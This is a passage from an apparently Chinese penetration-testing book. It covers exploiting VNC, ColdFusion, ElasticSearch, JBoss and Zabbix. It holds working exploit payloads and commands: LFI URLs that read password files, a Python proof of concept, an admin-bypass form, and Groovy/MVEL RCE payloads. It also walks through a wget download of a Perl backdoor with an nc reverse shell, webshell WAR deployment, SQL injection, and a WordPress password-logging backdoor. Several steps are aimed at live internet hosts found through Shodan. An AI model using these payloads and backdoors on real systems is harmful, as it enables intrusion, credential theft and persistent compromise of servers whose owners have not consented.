VNC 服务端，如图 8-164 所示。 图 8-164 处理连接结果 技巧 在处理连接的过程中，如果 VNC 服务端界面中计算机显示为锁定状态，该计算机就需要输入用 户名和密码才能使用。 不过，可以选中该连接，单击右键，在弹出的快捷菜单中选择“VNC Connection Info”命令，查看该连接的相关信息，等待管理员登录后，在计算机没有锁定时实施控制，如图 8-165 所示。 图 8-165 查看连接信息 8.13.6 实施控制 选择一个屏幕没有锁定的 VNC 服务端，依次单击“start”→“run”命令，在其中输入“cmd” 命令，打开 DOS 提示符窗口。 依次执行添加用户、提升用户为管理员权限及查看管理员组用户命令， 如图 8-166 所示。"},
    {"text": "498 第 8 章 其他应用程序漏洞利用与提权 图 8-166 执行控制命令 注意 使用 VNC 连接器进行连接时使用的是完全控制模式，因此应当选择用户不在计算机旁时执行命 令和实施控制，否则容易被用户当场发现。"},
    {"text": "在连接前，可以使用 sfind 等工具软件对已经扫描出存在漏洞的计 算机进行 5900 端口开放情况探测，仅对开放 5900 端口的 IP 地址进行连接，这样效率会更高。"},
    {"text": "8.14 0day 分析之 ColdFusion 本地包含漏洞的利用方法 CVE-2010-2861（http://cve.scap.org.cn/CVE-2010-2861.html）是在 Adobe ColdFusion 9.0.1 及之前 版本的管理控制台中存在多个目录遍历漏洞。"},
    {"text": "远程攻击者可借助向“CFIDE/administrator/”中的“CFIDE/administrator/settings/mappings.cfm”、 “logging/settings.cfm”、 “datasources/index.cfm”、 “j2eepackaging/editarchive.cfm”和“enter.cfm”发送 的 locale 参数读取任意文件。"},
    {"text": "499 网络攻防实战研究：漏洞利用与提权 8.14.2 0day 使用方法测试 1．测试是否存在漏洞 在浏览器地址栏中输入“http://192.168.44.129:8500/CFIDE/administrator/enter.cfm”，其参数中存 在 locale 本地包含漏洞，利用方法是根据 locale 构建。 例如，输入“http://192.168.44.129:8500/CFIDE/ administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\logs\\server.log%00en”，如果存在漏洞，会爆 出 server.log 文件的详细信息，如图 8-167 所示。 图 8-167 测试是否存在漏洞 文件可以是 application.log、server.log、eventgateway.log，要根据实际情况进行测试。"},
    {"text": "http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\ ..\\..\\..\\..\\boot.ini%00en 图 8-168 读取磁盘上其他文件的内容 2．利用 URL 注入 application.log 日志文件 利用 <CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#> 方法构造一个地 址，通过访问一个不存在的页面将 URL 内容写入日志文件。"},
    {"text": "输入“http://192.168.44.129:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL. u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml”，如图 8-169 所示，会给出 找不到文件的错误提示。 图 8-169 文件未找到错误 这时就会把“<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>”注入 application.log 了，如图 8-170 所示。 图 8-170 将 URL 内容写 application.log 日志文件 3．获取 Shell 事先准备一个 shell.cfm，将该文件保存为 TXT 文件，例如“http://www.antian365.com/tools/cfm. shell.txt”，然后在浏览器的地址栏中输入 http://192.168.44.129:8500//CFIDE/administrator/enter.cfm? locale=..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\logs\\application.log%00en&u=http://192.168.44.129:8500/1.txt&p=C:\\ ColdFusion8\\wwwroot&f=shell.cfm，即可在根目录下获取 shell.cfm。"},
    {"text": "4．获取管理密码 password.properties 文件一般位于“C:\\ColdFusion8\\lib\\”文件夹下，只要读取该文件的信息，就 可获取加密的密码，如图 8-172 所示，示例如下。 http://192.168.44.129:8500/CFIDE/administrator/enter.cfm?locale=..\\..\\..\\..\\ ..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en 501 网络攻防实战研究：漏洞利用与提权 图 8-171 获取 WebShell 图 8-172 获取 Goldfusion 管理密码 8.14.3 LFI to Shell in ColdFusion 6-10 利用方法分析 LFI 获取 GoldFusion 6-10 版本 Shell 的方法（LFI to Shell in ColdFusion 6-10），原文见 http:// hatriot.github.io/blog/2014/04/02/lfi-to-stager-payload-in-coldfusion/。"},
    {"text": "<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4 MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'> 使用 CFM 的 CFHTTP 标签，执行一个 HTTP 请求，取得 Web 服务器 192.168.1.97:8000 上的 cmd.cfml 文件。"},
    {"text": "8.14.4 其他可供利用 0day 的分析 1．读取 password.properties 文件 根据 exploit-db 网站公布的利用方法，POC 的下载地址为 http://www.exploit-db.com/exploits/ 14641/，代码如下，主要功能是读取管理员密码。"},
    {"text": "python 14641.py ip port ../../../../../../../lib/password.properties python 14641.py 192.168.44.129 8500 ../../../../../../../lib/ password.properties import sys import socket import re # in case some directories are blocked filenames = (\"/CFIDE/wizards/common/_logintowizard.cfm\", \"/CFIDE/ administrator/archives/index.cfm\", \"/cfide/install.cfm\", \"/CFIDE/administrator/ entman/index.cfm\", \"/CFIDE/administrator/enter.cfm\") post = \"\"\"POST %s HTTP/1.1 Host: %s Connection: close 502 第 8 章 其他应用程序漏洞利用与提权 Content-Type: application/x-www-form-urlencoded Content-Length: %d locale=%%00%s%%00a\"\"\" def main(): if len(sys.argv) != 4: print \"usage: %s <host> <port> <file_path>\" % sys.argv[0] print \"example: %s localhost 80 ../../../../../../../lib/ password.properties\" % sys.argv[0] print \"if successful, the file will be printed\" return host = sys.argv[1] port = sys.argv[2] path = sys.argv[3] for f in filenames: print \"------------------------------\" print \"trying\", f s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) s.send(post % (f, host, len(path) + 14, path)) buf = \"\" while 1: buf_s = s.recv(1024) if len(buf_s) == 0: break buf += buf_s m = re.search('<title>(.*)</title>', buf, re.S) if m != None: title = m.groups(0)[0] print \"title from server in %s:\" % f print \"------------------------------\" print m.groups(0)[0] print \"------------------------------\" if __name__ == '__main__': main() 2．Adobe ColdFusion 9 管理员绕过漏洞 将以下代码保存为 test.html，加入 hostname 直接提交，可以绕过 Adobe ColdFusion 9 认证登录 后台系统。 <form action=\"http://[HOSTNAME]/CFIDE/adminapi/administrator.cfm?method= login\" method=\"post\"> <input type=\"hidden\" name=\"adminpassword\" value=\"\"> <input type=\"hidden\" name=\"rdsPasswordAllowed\" value=\"1\"> <input type=\"submit\"> </form> 参考资料 z http://www.exploit-db.com/exploits/27755/ z http://www.exploit-db.com/exploits/30210/ z http://drops.wooyun.org/tips/1410 503 网络攻防实战研究：漏洞利用与提权 8.15 ElasticSearch 命令执行漏洞利用及渗透提权 ElasticSearch 是一个用 Java 开发的搜索分析引擎，号称“第二最流行的企业搜索引擎”，官方站 点为 http://www.elasticsearch.org/，安全公告页面为 http://www.elasticsearch.org/community/security/。"},
    {"text": "8.15.1 CVE-2015-1427 Groovy 命令执行漏洞 2015 年 2 月 17 日，CNNVD 公布了 ElasticSearch 编号为 CVE-2015-1427 的漏洞（http://www. scap.org.cn/CVE-2015-1427.html），官方描述为：“Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have vulnerabilities in the Groovy scripting engine. The vulnerabilities allow an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.”（ElasticSearch 1.3.0-1.3.7 和 1.4.0-1.4.2 在 Groovy 脚本引擎中有漏洞。 该漏洞允许攻击者构建 Groovy 脚本逃离沙盒和执行 Shell 命令为用户运行 Java VM 的 ElasticSearch。"},
    {"text": "） 1．受影响版本 z cpe:/a:elasticsearch:elasticsearch:1.4.2 z cpe:/a:elasticsearch:elasticsearch:1.4.0 z cpe:/a:elasticsearch:elasticsearch:1.3.7 z cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1 z cpe:/a:elasticsearch:elasticsearch:1.4.1 2．可利用 POC 目标地址 http://www.antian365.com:9200/_search?pretty，通过 Firefox 便携版本的 hackbar，允许 以 POST 方式提交数据。"},
    {"text": "{\"size\":1,\"script_fields\":{\"test#\": {\"script\":\"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstruct or(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.Inpu tStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang .Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream())).readLines()\",\"lang\": \"groovy\"}}} 3．修复方法 建议用户更新到最新版本。"},
    {"text": "504 第 8 章 其他应用程序漏洞利用与提权 8.15.2 CVE-2014-3120 MVEL 命令执行漏洞 2014 年 5 月，MVEL 爆出命令执行漏洞（漏洞编号 CVE-2014-3120，http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-3120）。"},
    {"text": "ElasticSearch 使用的脚本引擎是 MVEL，这个引擎没有做任何防 护或者沙盒包装，所以可以直接执行任意代码。 而在 ElasticSearch 里，动态脚本功能默认是打开的， 因此用户可以直接通过 HTTP 请求执行任意代码。"},
    {"text": "z http://tool.scanv.com/es.html（可以检测任意地址） z http://bouk.co/blog/elasticsearch-rce/poc.html（只检测 localhost，会输出/etc/hosts 和/etc/passwd 文件的内容到网页上） 可以保存以下代码进行检测。"},
    {"text": "curl -XPOST 'http://localhost:9200/_search?pretty' -d ' { \"size\": 1, \"query\": { \"filtered\": { \"query\": { \"match_all\": {} } } }, \"script_fields\": { \"/etc/hosts\": { \"script\": \"import java.util.*;\\nimport java.io.*;\\nnew Scanner(new File(\\\"/etc/hosts\\\")).useDelimiter(\\\"\\\\\\\\Z\\\").next();\" }, \"/etc/passwd\": { \"script\": \"import java.util.*;\\nimport java.io.*;\\nnew Scanner(new File(\\\"/etc/passwd\\\")).useDelimiter(\\\"\\\\\\\\Z\\\").next();\" } } } 2．修复方法 关掉执行脚本功能，在配置文件 elasticsearch.yml 里为每个结点都加上“script.disable_dynamic: true”。"},
    {"text": "由于 ElasticSearch Groovy 命令执行漏洞存在于版本 1.4.2、1.4.1、1.4.0、1.4.0:beta1、1.3.7 中，因此可以定义搜索关键字为“port:9200 country:China You Know, for Search 1.4.0”，其中“port:9200”代表 ElasticSearch 程序运行端口，“country:China”代表 505 网络攻防实战研究：漏洞利用与提权 搜索的区域为中国， “You Know，for Search 1.4.0”是 ElasticSearch 的版本，对不同的版本更换“1.4.0” 即可，检索效果如图 8-173 所示。"},
    {"text": "单击链接后，如果 能够正常访问，说明该端口或者服务正常运行，如图 8-174 所示，服务器运行了 ElasticSearch 1.4.0， lucene_version 的版本为 4.10.2。"},
    {"text": "3．使用 ElasticSearch 0day 利用工具直接测试是否存在漏洞 打开 esExploit.jar，如图 8-175 所示，将“http://120.26.230.149:9200/”复制到“URL”文本框中 （注意：必须带“http”或者“https”，且本机必须支持 Java 运行环境），选择“Groovy”选项，在“命 令执行”标签页中选择“whoami”或者“netstat -an”命令进行测试。"},
    {"text": "图 8-174 测试网站能否正常运行 图 8-175 测试是否存在漏洞 4．添加管理员用户 在 CMD 命令行中分别执行类似“net use antian365 xxx1122334dd /add ”和“net localgroup administrators antian365 /add”的命令，添加用户名和密码，并将用户添加到管理员组中。"},
    {"text": "506 第 8 章 其他应用程序漏洞利用与提权 5．登录服务器 在本地打开 mstsc.exe 程序，输入 IP 地址、用户名和密码，如图 8-177 所示，成功登录服务器。"},
    {"text": "图 8-176 添加及查看管理员用户 图 8-177 获取服务器权限 6．总结 在 Windows 操作系统中，如果 ElasticSearch 默认运行权限为 system，没有更改，那么只要存在 ElasticSearch Groovy 命令执行漏洞，就可以获取服务器权限。"},
    {"text": "（1）本地通过 nc 监听端口 nc –vv –l –p 80 （2）被攻击服务器下载 back.pl 脚本 python ElasticSearch.py http://www.antian365.com:9200/ \"/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl\" （3）执行后门反弹命令 python ElasticSearch.py http:// www.antian365.com:9200/ \"/usr/bin/perl /tmp/back.pl 123.123.123.123 80\" 说明 z “www.antian365.com”为被攻击目标的域名，IP 地址 123.123.123.123 为公网独立 IP 地址， 80 端口为该服务器的未开放端口。"},
    {"text": "507 网络攻防实战研究：漏洞利用与提权 2．搜索目标对象 通过 http://www.zoomeye.org/或者 shodanhq.com 搜索“ElasticSearch”关键字，直接访问网站 http://www.zoomeye.org/search?q=ElasticSearch&t=host，即可获取结果。"},
    {"text": "随机选择一个 IP 地址（本例选择第一个 IP 地址 192.241.225.207），同时单击 IP 地址右上角的小图框（例如 http://192.241.225.207:9200/）进行访问，确认该 IP 地址是否“存活”， 如图 8-178 所示。"},
    {"text": "图 8-178 搜索目标对象 3．执行命令 直 接 执 行 “ python ElasticSearch.py http://192.241.225.207/ \"/usr/bin/wget www.antian365.com/ lab/linux0day/back.pl.txt -O /tmp/back.pl\"”命令，反馈结果为“HTTP Error 500: Internal Server Error”， 如图 8-179 所示。"},
    {"text": "{\"size\":1,\"script_fields\": {\"test#\": {\"script\":\"java.lang.Math.class.forName (\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(ja va.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io .InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime \\\").getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream())).readLines()\",\"lang\": \"groovy\"}}} 图 8-179 执行命令 结果如图 8-180 所示，表明该漏洞已经被修复或者不可用。"},
    {"text": "python ElasticSearch.py http://192.241.222.40:9200/ \"/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl\" 执行以下命令，成功后会显示“Perl Connect-back Backdoor”、“Auther:Maple-x”，表明 Shell 执 行成功，如图 8-181 所示。 python ElasticSearch.py http:// 192.241.222.40:9200/ \"/usr/bin/perl /tmp/back.pl 124.123.122.11 80\" 图 8-181 反弹 Shell 执行成功 本地监听端口过几秒就会反弹 Shell。 执行 ifconfig 命令，如图 8-182 所示，确认反弹 Shell 执行 成功。"},
    {"text": "图 8-182 成功获取 Shell 509 网络攻防实战研究：漏洞利用与提权 8.15.5 通过 ElasticSearch Groovy 可执行命令漏洞获取某网站 WebShell 权限 ElasticSearch 在一些大型企业内部部署较多，因此在获取某内网权限后，进一步的渗透就非常有 意义了。"},
    {"text": "在搜索框中输入关键字“Elasticsearch” 进行搜索，如图 8-183 所示，结果以“top countries”显示查询记录。 图 8-183 搜索关键词“ElasticSearch” 2．通过 FireFox 便携版本进行漏洞测试 在 FireFox 便携版本中输入地址“http://192.121.xxx.xxx:9200/_search?pretty”，然后单击“Load Url”选项，如图 8-184 所示，在 Post Data 中输入以下代码。"},
    {"text": "图 8-184 测试漏洞是否存在 510 第 8 章 其他应用程序漏洞利用与提权 {\"size\":1,\"script_fields\": {\"test#\": {\"script\":\"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstruct or(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.Inpu tStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang .Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"cat /etc/passwd\\\").getInputStream())).readLines()\",\"lang\": \"groovy\"}}} 该代码的目的是读取 Linux 操作系统中/etc/passwd 文件的内容。"},
    {"text": "3．查询敏感文件 在 Post Data 中修改“exec(\\\"cat /etc/passwd\\\")”为“exec(\\\"locate *.php \\\")”、 “exec(\\\"locate *.sql \\\")”、 “exec(\\\"locate *.conf \\\")”等以获取敏感文件信息。"},
    {"text": "图 8-185 寻找系统敏感信息 使用以下代码直接获取 wp-config.php 的路径“/usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”， 如图 8-186 所示。 图 8-186 获取 wp-config.php 的路径 511 网络攻防实战研究：漏洞利用与提权 {\"size\":1,\"script_fields\": {\"test#\": {\"script\":\"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstruct or(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.Inpu tStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang .Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\" locate wp-config.php \\\").getInputStream())).readLines()\",\"lang\": \"groovy\"}}} 4．定位网站和真实路径 执行“cat /usr/share/nginx/xxxxxxxxxxxxx/wp-config.php”命令读取该文件的内容，如图 8-187 所 示，获取 MySQL 数据库 root 账号和密码及网站域名等信息。"},
    {"text": "通过查看网站所在根目录，还发现了 MySQL 文件备份，通过 flashget 下载工具将其下载到本地，如图 8-188 所示。 图 8-187 获取网站域名等信息 图 8-188 下载数据库文件 5．获取 WebShell 执行命令“wget -O /usr/share/nginx/xxxxxxa2/__MACOSX/oxxxxxxxa/ wp-content/uploads/my.php http://www.antian365.com/data/cache/2.txt”，然后将 WebShell 下载到本地服务器的/usr/share/nginx/ xxxxxx2/__MACOSX/xxxxxxxxxxxxx/wp-content/uploads 目录下，WebShell 地址为 http://ocXXXXXx. com/wp-content/uploads/my.php。"},
    {"text": "图 8-189 获取 WebShell 权限 6．讨论 在本例中，通过命令执行漏洞下载了 MySQL 数据库文件，通过查看该文件知道了 WordPress 管 512 第 8 章 其他应用程序漏洞利用与提权 理员的密码等信息，如图 8-190 所示，可以对该密码进行破解。 使用破解的密码登录，再通过后台 提权，也可以轻松获取 WebShell 后门。 图 8-190 获取 WordPress 后台管理员密码等信息 还可以在 wp-login.php 文件中加入密码记录代码。 在 if(force_ssl_admin() && ! is_ssl())代码结束 处加入记录代码，如图 8-191 所示，加入后的代码如下。 // Redirect to https login if forced to use SSL if ( force_ssl_admin() && ! is_ssl() ) { if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) { wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) ); exit(); } else { wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_ URI'] ); exit(); } } $userip=$_SERVER['REMOTE_ADDR']; $username_password=$_POST['log'].\"----xxxxx----\".$_POST['pwd'].\" \".\"userip:\".$userip.\"\\r\\n\"; $hellowp=fopen('./wp-content/plugins/d.txt','a+'); $write=fwrite($hellowp,$username_password); 图 8-191 记录 WordPress 密码的代码 定期访问 http://www.antian365.com/wp-content/plugins/d.txt，即可获取管理员登录密码等信息。"},
    {"text": "z JBoss 安装便捷，解压后只需配置一些环境变量即可。 z JBoss 支持热部署，在部署 BEAN 时，只复制 BEAN 的 JAR 文件到部署路径下即可自动加 载，如果有改动也会自动更新。 z JBoss 与 Web 服务器在同一个 Java 虚拟机中运行，Servlet 调用 EJB 不经过网络，从而大大 提高了运行效率，提升了安全性能。"},
    {"text": "通过扫描或者目标服务器开启 8080 端口，通过 IE 浏览器 直接对该 IP 地址进行访问，如图 8-192 所示，获取了 JBoss AS 的主界面，该界面与 JBoss 界面类似。 图 8-192 JBoss AS 主界面 JBoss AS 主要有两大类，一类是管理 JBoss AS 实例，另一类是 JBoss AS 在线资源。"},
    {"text": "514 第 8 章 其他应用程序漏洞利用与提权 图 8-193 JBoss AS 管理控制台 z JMX Console：JMX Console 是 JBoss 中的一个 Web 应用程序，它可以查看当前装载到 JBoss 服务器中的 MBeans，检查它们当前的状态，并用浏览器读取和写入它们的属性。"},
    {"text": "渗透 JBoss 服务器的一个方法就是通过 jboss.deployment 下的 “flavor=URL, type=DeploymentScanner”添加一个可下载的 WAR 地址，从而获得一个 WebShell。 图 8-194 JMX Console 主控制台 515 网络攻防实战研究：漏洞利用与提权 z JBoss Web Console：JBoss Web Console 主要显示 JBoss 版本信息、JBoss 运行时间、主机 IP 地址、环境信息、硬件信息及 JVM 硬件等信息，如图 8-195 所示，掌握这些信息在渗透过 程非常有用。"},
    {"text": "1．验证 通过 Administration Console 进入管理控制台，如图 8-196 所示，有些服务器设置了口令，不过 该控制台可以进行暴力破解，可以尝试 admin/admin、admin/123456 等弱口令组合。"},
    {"text": "图 8-196 进入 JBoss AS 管理控制台 2．查看 Web Application（WAR） 单击 Jboss AS Servers 下的“Web Application（WAR）”选项，展开 WAR 的部署情况。 如图 8-197 所示，显示了所有已经部署的 WAR，管理员可以通过这个界面查看服务器是否被入侵。 516 第 8 章 其他应用程序漏洞利用与提权 图 8-197 查看已经部署的 WAR 3．上传 WAR 文件 在 Web Application 主界面右下方有一个“Add a new resource”按钮，单击该按钮可以部署新的 WAR，如图 8-198 所示。 图 8-198 上传 WAR 文件进行部署 单击“浏览”按钮，选择一个 WAR 文件，如果没有 WAR 文件，可执行命令“jar -cvf myshell.war index.jsp”，将 WebShell 文件 index.jsp 生成 myshell.war。 单击“Continue”按钮继续进行部署，如果 部署的 WAR 文件不是 JBoss 能够识别的（不是通过 jar 命令生成的）则会报错，如图 8-199 所示。 图 8-199 部署报错 针对该情况有两种解决方案：一种是自己搭建环境，生成一个 WAR 文件；"},
    {"text": "重新上传能用的 WAR 文件，如图 8-200 所示，部署成功。 517 网络攻防实战研究：漏洞利用与提权 图 8-200 重新部署 WAR 文件 4．启动 Web Application 应用程序 在 Web Application 中单击刚才部署的 WAR 文件，可以查看其配置情况。"},
    {"text": "图 8-202 运行刚刚部署的 WAR 应用 518 第 8 章 其他应用程序漏洞利用与提权 8.16.3 获取 JSP 的 WebShell 在地址栏输入“http://202.10.xxx.xxx:8080/war/”进行 WebShell 的访问测试，如图 8-203 所示， 顺利获取 JSP 的 WebShell 界面，输入密码即可进入 WebShell 进行管理。 图 8-203 获取 WebShell 如图 8-204 所示，获取 ServerName、ServerPort、Server OS、CurrentUser、CurrentUserFolder、 CurrentWorkingDirectory、程序相对路径、程序绝对路径、网络协议、服务器软件版本信息、JDK Version、JDK HomeDir、Java VM、Java VM Name、Java ClassPath、Java LibraryPath、Java TmpFolde、 JIT 编译器名、扩展 Folder 路径、客户端信息、RemoteAddress、RemoteHostName、Username、请求 方式及应用安全套接字层等信息。"},
    {"text": "519 网络攻防实战研究：漏洞利用与提权 8.17 Zabbix SQL 注入漏洞及利用探讨 随着企业和个人安全意识的不断增强，对采取了安全防护措施的企业来说，以攻击为目的的渗 透比过去相对困难一些，而一些硬件、资产等管理平台仍然存在弱口令等漏洞，攻击者一旦通过这 些漏洞打开入口，将给企业安全造成巨大的威胁。 Zabbix 是使用非常广泛的网络监测软件，但其存在 SQL 注入漏洞。 本节实测 Zabbix 漏洞，从 而帮助读者掌握其存在的漏洞及具体利用方法，了解其危害。 8.17.1 Zabbix SQL 注入漏洞简介 Zabbix 是一个开源的企业级性能监控解决方案。 在 Zabbix 的 jsrpc 的 profileIdx2 参数中存在 insert 方式的 SQL 注入漏洞，攻击者无须授权登录即可 Zabbix 管理系统，也可通过 script 等功能直接获取 Zabbix 服务器的操作系统权限。 Zabbix 2.2.x 及 3.0.0-3.0.3 中存在该漏洞，可能导致敏感数据泄露、 服务器被恶意攻击者控制，进而造成更多危害。"},
    {"text": "8.17.2 漏洞原理分析 1．高权限利用 0day Zabbix SQL 注入漏洞由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure（http://seclists.org/fulldisclosure/2016/Aug/82），其提供的 POC 如下。"},
    {"text": "http://www.antian365.com/latest.php?output=ajax&sid=&favobj=toggle&toggle_op en_state=1&toggle_ids[]=15385); select * from users where (1=1 如果出现以下类似结果，则表明存在漏洞。"},
    {"text": "SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1) latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/Zabbix -svn/branches/2.2/frontends/php/include/ profiles.inc.php:185 Brandon Perry 提供的一个 0day 如下，经测试，效果不佳。"},
    {"text": "/Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp= 1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx =web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600& stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest& filter=&filter_task=&mark_color=1 在关闭 display_errors 时看不到效果，建议使用一个 sleep 函数。"},
    {"text": "/Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp= 1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx =web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period= 3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showla test&filter=&filter_task=&mark_color=1 520 第 8 章 其他应用程序漏洞利用与提权 2．低权限利用 0day 获取管理员密码 Zabbix 提供了以 guest 用户权限登录系统的机制，登录系统后按照以下地址进行访问。"},
    {"text": "http://www.antian365.com/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen .get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history .php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemi d=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&act ion=showlatest&filter=&filter_task=&mark_color=1 “http://www.antian365.com”为目标站点，如果存在漏洞，则会给出如下错误信息。 <div class=\"flickerfreescreen\" id=\"flickerfreescreen_1\" data-timestamp= \"1471403798083\" style=\"position: relative;\"></div><table class=\"msgerr\" cellpadding=\"0\" cellspacing=\"0\" id=\"msg_messages\" style=\"width: 100%;\"><tr><td class=\"msg\" colspan=\"1\"><ul class=\"messages\"><li class=\"error\">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (191, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 1=1)#]] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class=\"error\">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (192, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 1=1)#]] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class=\"error\">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (193, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 1=1)#]] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table> “ed733b8d10be225eceba344d533586”为管理员密码。"},
    {"text": "guset 用户的 MD5 密码值为 d41d8cd98f00b204e9800998ecf8427e，也就是 说，网上公开声称可以获取管理员密码的那个 0day 的 POC 存在错误。"},
    {"text": "$requestType = getRequest('type', PAGE_TYPE_JSON); if ($requestType == PAGE_TYPE_JSON) { $http_request = new CHttpRequest(); $json = new CJson(); $data = $json->decode($http_request->body(), true); } else { 521 网络攻防实战研究：漏洞利用与提权 $data = $_REQUEST; } $page['title'] = 'RPC'; $page['file'] = 'jsrpc.php'; $page['type'] = detect_page_type($requestType); require_once dirname(__FILE__).'/include/page_header.php'; if (!is_array($data) || !isset($data['method']) || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) { fatal_error('Wrong RPC call to JS RPC!'); } $result = []; switch ($data['method']) { ... case 'screen.get': $result = ''; $screenBase = CScreenBuilder::getScreen($data); if ($screenBase !== null) { $screen = $screenBase->get(); if ($data['mode'] == SCREEN_MODE_JS) { $result = $screen; if (is_object($screen)) { $result = $screen->toString(); ... require_once dirname(__FILE__).'/include/page_footer.php'; 通过类 CScreenBuilder 中的 getScreen()方法处理$data 传入的数据。"},
    {"text": "/** * Init screen data. * * @param array$options * @param boolean$options['isFlickerfree'] * @param string$options['pageFile'] * @param int$options['mode'] * @param int$options['timestamp'] * @param int$options['hostid'] * @param int$options['period'] * @param int$options['stime'] * @param string$options['profileIdx'] * @param int$options['profileIdx2'] * @param boolean$options['updateProfile'] * @param array$options['screen'] */ public function __construct(array $options = []) { $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true; $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW; $this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : 522 第 8 章 其他应用程序漏洞利用与提权 time(); $this->hostid = !empty($options['hostid']) ? $options['hostid'] : null; // get page file if (!empty($options['pageFile'])) { $this->pageFile = $options['pageFile']; } else { global $page; $this->pageFile = $page['file']; } // get screen if (!empty($options['screen'])) { $this->screen = $options['screen']; } elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) { $this->screen = API::Screen()->get([ 'screenids' => $options['screenid'], 'output' => API_OUTPUT_EXTEND, 'selectScreenItems' => API_OUTPUT_EXTEND, 'editable' => ($this->mode == SCREEN_MODE_EDIT) ]); if (!empty($this->screen)) { $this->screen = reset($this->screen); } else { access_deny(); } } // calculate time $this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : ''; $this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null; $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true; $this->timeline = CScreenBase::calculateTime([ 'profileIdx' => $this->profileIdx, 'profileIdx2' => $this->profileIdx2, 'updateProfile' => $this->updateProfile, 'period' => !empty($options['period']) ? $options['period'] : null, 'stime' => !empty($options['stime']) ? $options['stime'] : null ]); } CScreenBuilder 类对$profiles 进行了更新，并且对 POC 中的 profileIdx2 参数进行了赋值，但还 没有传入数据库查询。"},
